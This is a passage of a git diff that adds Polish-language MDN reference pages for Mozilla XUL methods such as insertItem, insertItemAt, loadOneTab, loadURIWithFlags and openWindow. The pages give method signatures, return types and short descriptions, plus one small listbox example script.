+</li><li> <a href="pl/XUL/Metoda/selectItemRange">selectItemRange</a>
+</li><li> <a href="pl/XUL/Metoda/setSelectionRange">setSelectionRange</a>
+</li><li> <a href="pl/XUL/Metoda/showPane">showPane</a>
+</li><li> <a href="pl/XUL/Metoda/showPopup">showPopup</a>
+</li><li> <a href="pl/XUL/Metoda/sizeTo">sizeTo</a>
+</li><li> <a href="pl/XUL/Metoda/stop">stop</a>
+</li><li> <a href="pl/XUL/Metoda/syncSessions">syncSessions</a>
+</li><li> <a href="pl/XUL/Metoda/timedSelect">timedSelect</a>
+</li><li> <a href="pl/XUL/Metoda/toggleItemSelection">toggleItemSelection</a>
+</li></ul>
+<h3 id="Powi.C4.85zane_metody_elementu_DOM" name="Powi.C4.85zane_metody_elementu_DOM"> Powiązane metody elementu DOM </h3>
+<ul><li> <a href="pl/DOM/element.addEventListener">DOM:element.addEventListener</a>
+</li><li> <a href="pl/DOM/element.appendChild">DOM:element.appendChild</a>
+</li><li> <a href="pl/DOM/element.dispatchEvent">DOM:element.dispatchEvent</a>
+</li><li> <a href="pl/DOM/element.getAttribute">DOM:element.getAttribute</a>
+</li><li> <a href="pl/DOM/element.getAttributeNode">DOM:element.getAttributeNode</a>
+</li><li> <a href="pl/DOM/element.getAttributeNodeNS">DOM:element.getAttributeNodeNS</a>
+</li><li> <a href="pl/DOM/element.getAttributeNS">DOM:element.getAttributeNS</a>
+</li><li> <a href="pl/DOM/element.getElementsByTagName">DOM:element.getElementsByTagName</a>
+</li><li> <a href="pl/DOM/element.getElementsByTagNameNS">DOM:element.getElementsByTagNameNS</a>
+</li><li> <a href="pl/DOM/element.hasAttribute">DOM:element.hasAttribute</a>
+</li><li> <a href="pl/DOM/element.hasAttributeNS">DOM:element.hasAttributeNS</a>
+</li><li> <a href="pl/DOM/element.hasAttributes">DOM:element.hasAttributes</a>
+</li><li> <a href="pl/DOM/element.hasChildNodes">DOM:element.hasChildNodes</a>
+</li><li> <a href="pl/DOM/element.insertBefore">DOM:element.insertBefore</a>
+</li><li> <a href="pl/DOM/element.isSupported">DOM:element.isSupported</a>
+</li><li> <a href="pl/DOM/element.normalize">DOM:element.normalize</a>
+</li><li> <a href="pl/DOM/element.removeAttribute">DOM:element.removeAttribute</a>
+</li><li> <a href="pl/DOM/element.removeAttributeNode">DOM:element.removeAttributeNode</a>
+</li><li> <a href="pl/DOM/element.removeAttributeNS">DOM:element.removeAttributeNS</a>
+</li><li> <a href="pl/DOM/element.removeChild">DOM:element.removeChild</a>
+</li><li> <a href="pl/DOM/element.removeEventListener">DOM:element.removeEventListener</a>
+</li><li> <a href="pl/DOM/element.replaceChild">DOM:element.replaceChild</a>
+</li><li> <a href="pl/DOM/element.setAttribute">DOM:element.setAttribute</a>
+</li><li> <a href="pl/DOM/element.setAttributeNode">DOM:element.setAttributeNode</a>
+</li><li> <a href="pl/DOM/element.setAttributeNodeNS">DOM:element.setAttributeNodeNS</a>
+</li><li> <a href="pl/DOM/element.setAttributeNS">DOM:element.setAttributeNS</a>
+</li></ul>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/insertitem/index.html b/files/pl/mozilla/tech/xul/metoda/insertitem/index.html
new file mode 100644
index 0000000000..e14e9bb854
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/insertitem/index.html
@@ -0,0 +1,27 @@
+---
+title: insertItem
+slug: Mozilla/Tech/XUL/Metoda/insertItem
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Method/insertItem
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><span id="m-insertItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/insertItem">insertItem( id, beforeNode, wrapper, beforePermanent )</a></code></span></dt>
+ <dd><strong><span class="highlightred">Tylko Firefox</span></strong></dd>
+ <dd>Zwraca typ:<em>element</em></dd>
+ <dd>Dodaje pozycję z danym <var>id</var> do paska narzędzi <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. Nowa pozycja jest dodawana tuż przed pozycja daną przez drugi argument. Jeśli drugi argument jest <code>null</code>, lecz argument <var>beforePermanent</var> jest <code>true</code>, to pozycja jest dodawana na początku paska narzędzi przed pierwszą stałą pozycję paska. Inaczej, jeśli argument <var>beforePermanent</var> jest <code>false</code>, nowa pozycja jest dodawana na koniec paska narzędzi. Trzeci argument możemy zastosować do <strong>wrap</strong> nowej pozycji w kolejnym elemencie. Zazwyczaj ostatni argument będzie typu <code>null</code> jako jego główny argument do zastosowania w oknie użytkownika.</dd>
+</dl>
+
+<p><var>id</var> powinno być dopasowane do elementu na pasku narzędzi <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>. Kilka określonych id mogą być stosowane do tworzenia specjalnych przestrzeni dla pozycji paska:</p>
+
+<ul>
+ <li><code>separator</code>: Rozdzielacz, który jest rysowany jako pionowy pasek.</li>
+ <li><code>spacer</code>: Nieelastyczna przestrzeń.</li>
+ <li><code>spring</code>: Elastyczna przestrzeń.</li>
+</ul>
+
+<p>Metoda zwraca element DOM dla tworzonej pozycji.</p>
diff --git a/files/pl/mozilla/tech/xul/metoda/insertitemat/index.html b/files/pl/mozilla/tech/xul/metoda/insertitemat/index.html
new file mode 100644
index 0000000000..c57ead3b5d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/insertitemat/index.html
@@ -0,0 +1,50 @@
+---
+title: insertItemAt
+slug: Mozilla/Tech/XUL/Metoda/insertItemAt
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/insertItemAt
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-insertItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/insertItemAt">insertItemAt( index, label, value )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Ta metoda tworzy nowy element listy i umieszcza go w określonej pozycji. Opcjonalnie można ustawić jego wartość. Nowy element jest zwracany.
+</dd></dl>
+<div class="noinclude">
+<p><b>Uwaga:</b> Nie można umieszczać elementu listy pod indeksem, który nie istnieje np: próbując umieścić go na końcu z <code>element.getRowCount() + 1</code>
+</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;!-- Ten przykład umieszcza element listy w zaznaczonej pozycję lub dołącza go, następnie zaznacza nowo powstały element listy --&gt;
+&lt;script language="javascript"&gt;
+function insertItemToList(){
+
+ var myListBox = document.getElementById('myListBox');
+
+ // tworzy datę do pobrania etykiety i wartości
+ var someDate = new Date();
+
+ if(myListBox.selectedIndex == -1){
+ // żaden element nie został zaznaczona na liście, więc dołączamy ją na koniec
+ myListBox.appendItem( someDate.toLocaleTimeString(), someDate.getTime() );
+ var newIndex = myListBox.getRowCount() -1
+ }else{
+ // element listy został zaznaczony, więc umieść na zaznaczonej pozycji
+ var newIndex = myListBox.selectedIndex;
+ myListBox.insertItemAt(newIndex, someDate.toLocaleTimeString(), someDate.getTime());
+ }
+
+ // zaznacza nową utworzoną pozycję
+ myListBox.selectedIndex = newIndex;
+}
+&lt;/script&gt;
+
+&lt;button label="Umieść element w zaznaczonym miejscu" oncommand="insertItemToList()"/&gt;
+&lt;listbox id="myListBox"&gt;
+ &lt;listitem label="foo"/&gt;
+&lt;/listbox&gt;
+</pre>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<p><code><a href="pl/XUL/Metoda/appendItem">appendItem()</a></code> i <code><a href="pl/XUL/Metoda/removeItemAt">removeItemAt()</a></code>
+</p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/invertselection/index.html b/files/pl/mozilla/tech/xul/metoda/invertselection/index.html
new file mode 100644
index 0000000000..fc3d42e750
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/invertselection/index.html
@@ -0,0 +1,21 @@
+---
+title: invertSelection
+slug: Mozilla/Tech/XUL/Metoda/invertSelection
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/invertSelection
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-invertSelection"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/invertSelection">invertSelection()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Odwraca status wszystkich zaznaczonych pozycji. Pozycja zaznaczona staje się odznaczona oraz odznaczona pozycja staje się zaznaczoną.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/loadonetab/index.html b/files/pl/mozilla/tech/xul/metoda/loadonetab/index.html
new file mode 100644
index 0000000000..7a84e4eda5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/loadonetab/index.html
@@ -0,0 +1,21 @@
+---
+title: loadOneTab
+slug: Mozilla/Tech/XUL/Metoda/loadOneTab
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/loadOneTab
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-loadOneTab"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadOneTab">loadOneTab( URL, referrerURI, charset, postData, loadInBackground, allowThirdPartyFixup )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code></i>
+ </dd>
+ <dd>
+ Otwiera nową kartę, która ładuje stronę o określonym adresie <code>URL</code>. Pozostałe parametry są opcjonalne. Pasek kart pojawi się, jeśli to potrzebne. Metoda ta działa tak samo, jak <a href="pl/XUL/Metoda/addTab"> addTab</a> z tą różnicą, że posiada parametr <code>loadInBackground</code>, który pozwala wybrać, czy otworzyć nową kartę w tle lub na pierwszym planie. Nie ma również parametru <code>owner</code>, jako że karta-właściciel zostanie określona automatycznie.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/loadtabs/index.html b/files/pl/mozilla/tech/xul/metoda/loadtabs/index.html
new file mode 100644
index 0000000000..aa7509df5b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/loadtabs/index.html
@@ -0,0 +1,21 @@
+---
+title: loadTabs
+slug: Mozilla/Tech/XUL/Metoda/loadTabs
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/loadTabs
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-loadTabs"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadTabs">loadTabs( uris, loadInBackground, replace )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Wczytuje ustawienia URI, określone przez tablicę &lt;tt&gt;uris&lt;/tt&gt;, w kartach. Jeśli &lt;tt&gt;loadInBackground&lt;/tt&gt; jest <code>true</code>, karty są wczytywane w tle i jeśli &lt;tt&gt;replace&lt;/tt&gt; jest typu <code>true</code>, aktualnie wyświetlane karty są zastąpione przez określone URI zamiast dodawania nowych kart.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/loaduri/index.html b/files/pl/mozilla/tech/xul/metoda/loaduri/index.html
new file mode 100644
index 0000000000..95f575a14d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/loaduri/index.html
@@ -0,0 +1,17 @@
+---
+title: loadURI
+slug: Mozilla/Tech/XUL/Metoda/loadURI
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/loadURI
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-loadURI"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadURI">loadURI( uri, adres-odsyłający, kodowanie-znaków )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje dokument spod danego adresu URL, z danym kodowaniem i adresem odsyłającym.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/loaduriwithflags/index.html b/files/pl/mozilla/tech/xul/metoda/loaduriwithflags/index.html
new file mode 100644
index 0000000000..a3e67ce1e7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/loaduriwithflags/index.html
@@ -0,0 +1,21 @@
+---
+title: loadURIWithFlags
+slug: Mozilla/Tech/XUL/Metoda/loadURIWithFlags
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/loadURIWithFlags
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-loadURIWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadURIWithFlags">loadURIWithFlags( uri, flagi, adres-odsyłający, kodowanie-znaków, postData )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje adres URL do dokumentu z określonymi flagami wczytywania, pozwala określić adres odsyłający, kodowanie znaków oraz dane przesyłane metodą POST. Poza flagami dozwolonymi dla metody <span id="m-reloadWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadWithFlags">reloadWithFlags</a></code></span>, dostępne są także:
+</dd></dl>
+<ul><li> <code>LOAD_FLAGS_IS_REFRESH</code>: Ta flaga jest stosowana, kiedy adres URL jest wczytywany ponieważ znacznik meta jest ustawiony na odświeżanie lub przekierowanie. </li><li> <code>LOAD_FLAGS_IS_LINK</code>: Ta flaga jest stosowana, kiedy adres URL jest wczytywany po kliknięciu odnośnika przez użytkownika. Nagłówek HTTP Referer jest odpowiednio ustawiany.
+</li><li> <code>LOAD_FLAGS_BYPASS_HISTORY</code>: Nie dodaje adresu URL do historii sesji.
+</li><li> <code>LOAD_FLAGS_REPLACE_HISTORY</code>: Zamienia bieżący adres URL w historii sesji na nowy. Ta flaga może zostać użyta przy przekierowywaniu.
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/makeeditable/index.html b/files/pl/mozilla/tech/xul/metoda/makeeditable/index.html
new file mode 100644
index 0000000000..7b144fba61
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/makeeditable/index.html
@@ -0,0 +1,17 @@
+---
+title: makeEditable
+slug: Mozilla/Tech/XUL/Metoda/makeEditable
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/makeEditable
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-makeEditable"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/makeEditable">makeEditable( editortype, waitForLoad )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Ta funkcja włącza edycję w edytorze. Należy określić typ edytora – <code>text</code> lub <code>html</code> – w atrybucie <code id="a-editortype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/editortype">editortype</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/menulist.appenditem/index.html b/files/pl/mozilla/tech/xul/metoda/menulist.appenditem/index.html
new file mode 100644
index 0000000000..071bbed40d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/menulist.appenditem/index.html
@@ -0,0 +1,26 @@
+---
+title: menulist.appendItem
+slug: Mozilla/Tech/XUL/Metoda/menulist.appendItem
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/menulist.appendItem
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-menulist.appendItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/menulist.appendItem">menulist.appendItem( label, value, description )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Tworzy nowy element <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> i dodaje go na koniec listy menu. Opcjonalnie ustawioną ma wartość i opis. Funkcja zwraca nową pozycję.</dd>
+</dl>
+<div class="noinclude">
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <p><span id="m-appendItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/appendItem">appendItem</a></code></span></p>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/metoda/menulist.select/index.html b/files/pl/mozilla/tech/xul/metoda/menulist.select/index.html
new file mode 100644
index 0000000000..16ad0fc72f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/menulist.select/index.html
@@ -0,0 +1,21 @@
+---
+title: menulist.select
+slug: Mozilla/Tech/XUL/Metoda/menulist.select
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/menulist.select
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Metoda/menulist.select">select()</a></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Zaznacza cały tekst w polu tekstowym <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>. Ta metoda nakłada się tylko do list menu <code id="a-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/editable">editable</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/moveto/index.html b/files/pl/mozilla/tech/xul/metoda/moveto/index.html
new file mode 100644
index 0000000000..a70938ab11
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/moveto/index.html
@@ -0,0 +1,21 @@
+---
+title: moveTo
+slug: Mozilla/Tech/XUL/Metoda/moveTo
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/moveTo
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-moveTo"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/moveTo">moveTo( x, y )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Przenosi wyskakujące okienko do nowej lokalizacji.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/movetoalertposition/index.html b/files/pl/mozilla/tech/xul/metoda/movetoalertposition/index.html
new file mode 100644
index 0000000000..ae9fd3eb61
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/movetoalertposition/index.html
@@ -0,0 +1,17 @@
+---
+title: moveToAlertPosition
+slug: Mozilla/Tech/XUL/Metoda/moveToAlertPosition
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/moveToAlertPosition
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-moveToAlertPosition"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/moveToAlertPosition">moveToAlertPosition()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Przenosi okno dialogowe na pozycję właściwą dla okna z ostrzeżeniem, jednocześnie nadając mu rozmiar właściwy dla takiego okna.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/onsearchcomplete/index.html b/files/pl/mozilla/tech/xul/metoda/onsearchcomplete/index.html
new file mode 100644
index 0000000000..f17d68c92b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/onsearchcomplete/index.html
@@ -0,0 +1,21 @@
+---
+title: onSearchComplete
+slug: Mozilla/Tech/XUL/Metoda/onSearchComplete
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/onSearchComplete
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-onSearchComplete"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/onSearchComplete">onSearchComplete()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Wywołuje uchwyt zdarzenia <code id="a-onsearchcomplete"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onsearchcomplete">onsearchcomplete</a></code>. Nie powinieneś wywoływać tej metody samej w sobie.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/ontextentered/index.html b/files/pl/mozilla/tech/xul/metoda/ontextentered/index.html
new file mode 100644
index 0000000000..64e479e88f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/ontextentered/index.html
@@ -0,0 +1,21 @@
+---
+title: onTextEntered
+slug: Mozilla/Tech/XUL/Metoda/onTextEntered
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/onTextEntered
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-onTextEntered"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/onTextEntered">onTextEntered()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ rezultat zdarzenia</i>
+ </dd>
+ <dd>
+ Wywołujemy uchwyt zdarzenia <code id="a-ontextentered"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ontextentered">ontextentered</a></code>. Nie powinieneś wywoływać tej metody samej w sobie.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/ontextreverted/index.html b/files/pl/mozilla/tech/xul/metoda/ontextreverted/index.html
new file mode 100644
index 0000000000..b6f11661c7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/ontextreverted/index.html
@@ -0,0 +1,21 @@
+---
+title: onTextReverted
+slug: Mozilla/Tech/XUL/Metoda/onTextReverted
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/onTextReverted
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-onTextReverted"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/onTextReverted">onTextReverted()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ rezultat zdarzenia</i>
+ </dd>
+ <dd>
+ Wywołujemy uchwyt zdarzenia <code id="a-ontextreverted"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ontextreverted">ontextreverted</a></code>. Nie powinieneś wywoływać tej metody samej w sobie.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/openwindow/index.html b/files/pl/mozilla/tech/xul/metoda/openwindow/index.html
new file mode 100644
index 0000000000..a72eb6f9ee
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/openwindow/index.html
@@ -0,0 +1,21 @@
+---
+title: openWindow
+slug: Mozilla/Tech/XUL/Metoda/openWindow
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/openWindow
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-openWindow"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/openWindow">openWindow( windowtype, url, features, params )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ window</i>
+ </dd>
+ <dd>
+ Otwiera potomne okno. <var>windowtype</var> jest łańcuchem znaków określającym typ okna. Jeśli okno jest z tym typem, które jest teraz otwarte, to metoda ta będzie przełączała to okno na wierzch i stanie się aktywne, zamiast otwarcia kolejnego okna. Jeśli typ okna nie jest otwarty, nowe jest otwierane wyświetlając dostarczony <var>url</var>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/preferenceforelement/index.html b/files/pl/mozilla/tech/xul/metoda/preferenceforelement/index.html
new file mode 100644
index 0000000000..c3e946583e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/preferenceforelement/index.html
@@ -0,0 +1,18 @@
+---
+title: preferenceForElement
+slug: Mozilla/Tech/XUL/Metoda/preferenceForElement
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/preferenceForElement
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-preferenceForElement"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/preferenceForElement">preferenceForElement( uielement )</a></code></span></dt>
+ <dd>
+ Zwraca typ: <i>element preferencji</i></dd>
+ <dd>
+ Zwraca element <code><a href="/pl/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code>, do którego jest dołączony dany element interfejsu użytkownika.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/reload/index.html b/files/pl/mozilla/tech/xul/metoda/reload/index.html
new file mode 100644
index 0000000000..55f35a3a11
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/reload/index.html
@@ -0,0 +1,17 @@
+---
+title: reload
+slug: Mozilla/Tech/XUL/Metoda/reload
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/reload
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-reload"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reload">reload()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje ponownie dokument w przeglądarce.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/reloadalltabs/index.html b/files/pl/mozilla/tech/xul/metoda/reloadalltabs/index.html
new file mode 100644
index 0000000000..8903d4044f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/reloadalltabs/index.html
@@ -0,0 +1,21 @@
+---
+title: reloadAllTabs
+slug: Mozilla/Tech/XUL/Metoda/reloadAllTabs
+tags:
